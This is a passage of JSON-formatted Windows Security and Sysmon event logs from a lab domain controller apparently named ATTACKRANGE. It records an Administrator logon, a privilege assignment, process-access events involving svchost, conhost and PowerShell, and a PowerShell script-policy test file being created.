indicates the length of the generated session key. This will be 0 if no session key was requested.","Category":"Logon","Opcode":"Info","SubjectUserSid":"S-1-5-20","SubjectUserName":"WIN-DC-9849183$","SubjectDomainName":"ATTACKRANGE","SubjectLogonId":"0x3e4","TargetUserSid":"S-1-5-21-2899776527-1222892863-2568484180-500","TargetUserName":"Administrator","TargetDomainName":"ATTACKRANGE","TargetLogonId":"0x698f5","LogonType":"3","LogonProcessName":"Advapi ","AuthenticationPackageName":"Negotiate","WorkstationName":"WIN-DC-9849183","LogonGuid":"{C064B0C1-4AAA-3588-8267-15CE1302D286}","TransmittedServices":"-","LmPackageName":"-","KeyLength":"0","ProcessName":"C:\\Windows\\System32\\svchost.exe","IpAddress":"-","IpPort":"-","ImpersonationLevel":"%%1833","RestrictedAdminMode":"-","TargetOutboundUserName":"-","TargetOutboundDomainName":"-","VirtualAccount":"%%1843","TargetLinkedLogonId":"0x0","ElevatedToken":"%%1842","EventReceivedTime":"2020-08-07 11:55:45","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:55:43","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4672,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":12548,"OpcodeValue":0,"RecordNumber":221916,"ActivityID":"{D168B27F-6CB0-0001-80B2-68D1B06CD601}","ProcessID":860,"ThreadID":988,"Channel":"Security","Message":"Special privileges assigned to new logon.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-5-21-2899776527-1222892863-2568484180-500\r\n\tAccount Name:\t\tAdministrator\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon ID:\t\t0x698F5\r\n\r\nPrivileges:\t\tSeSecurityPrivilege\r\n\t\t\tSeTakeOwnershipPrivilege\r\n\t\t\tSeLoadDriverPrivilege\r\n\t\t\tSeBackupPrivilege\r\n\t\t\tSeRestorePrivilege\r\n\t\t\tSeDebugPrivilege\r\n\t\t\tSeSystemEnvironmentPrivilege\r\n\t\t\tSeEnableDelegationPrivilege\r\n\t\t\tSeImpersonatePrivilege\r\n\t\t\tSeDelegateSessionUserImpersonatePrivilege","Category":"Special Logon","Opcode":"Info","SubjectUserSid":"S-1-5-21-2899776527-1222892863-2568484180-500","SubjectUserName":"Administrator","SubjectDomainName":"ATTACKRANGE","SubjectLogonId":"0x698f5","PrivilegeList":"SeSecurityPrivilege\r\n\t\t\tSeTakeOwnershipPrivilege\r\n\t\t\tSeLoadDriverPrivilege\r\n\t\t\tSeBackupPrivilege\r\n\t\t\tSeRestorePrivilege\r\n\t\t\tSeDebugPrivilege\r\n\t\t\tSeSystemEnvironmentPrivilege\r\n\t\t\tSeEnableDelegationPrivilege\r\n\t\t\tSeImpersonatePrivilege\r\n\t\t\tSeDelegateSessionUserImpersonatePrivilege","EventReceivedTime":"2020-08-07 11:55:45","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:55:44","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4625,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:55:44.178\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:55:44.178","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:55:45","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:55:44","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4626,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:55:44.178\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:55:44.178","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:55:45","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:55:44","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4627,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:55:44.178\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:55:44.178","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:55:45","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:55:44","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4628,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:55:44.178\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:55:44.178","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:55:45","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:55:44","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4629,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:55:44.178\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:55:44.178","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:55:45","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:55:44","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4630,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:55:44.178\r\nSourceProcessGUID: {90617006-413F-5F2D-0000-001080730600}\r\nSourceProcessId: 4108\r\nSourceThreadId: 3644\r\nSourceImage: C:\\Windows\\system32\\conhost.exe\r\nTargetProcessGUID: {90617006-4140-5F2D-0000-0010159A0600}\r\nTargetProcessId: 3656\r\nTargetImage: C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:55:44.178","SourceProcessGUID":"{90617006-413F-5F2D-0000-001080730600}","SourceProcessId":"4108","SourceThreadId":"3644","SourceImage":"C:\\Windows\\system32\\conhost.exe","TargetProcessGUID":"{90617006-4140-5F2D-0000-0010159A0600}","TargetProcessId":"3656","TargetImage":"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:55:45","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:55:44","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4631,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:55:44.194\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-4140-5F2D-0000-0010159A0600}\r\nTargetProcessId: 3656\r\nTargetImage: C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:55:44.194","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-4140-5F2D-0000-0010159A0600}","TargetProcessId":"3656","TargetImage":"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:55:45","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:55:44","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":11,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":2,"Task":11,"OpcodeValue":0,"RecordNumber":4632,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"File created:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:55:44.209\r\nProcessGuid: {90617006-4140-5F2D-0000-0010159A0600}\r\nProcessId: 3656\r\nImage: C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\r\nTargetFilename: C:\\Users\\Administrator\\AppData\\Local\\Temp\\__PSScriptPolicyTest_5os41cpd.nrs.ps1\r\nCreationUtcTime: 2020-08-07 11:55:44.209","Category":"File created (rule: FileCreate)","Opcode":"Info","UtcTime":"2020-08-07 11:55:44.209","ProcessGuid":"{90617006-4140-5F2D-0000-0010159A0600}","Image":"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","TargetFilename":"C:\\Users\\Administrator\\AppData\\Local\\Temp\\__PSScriptPolicyTest_5os41cpd.nrs.ps1","CreationUtcTime":"2020-08-07 11:55:44.209","EventReceivedTime":"2020-08-07 11:55:45","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:55:44","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4633,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:55:44.241\r\nSourceProcessGUID: 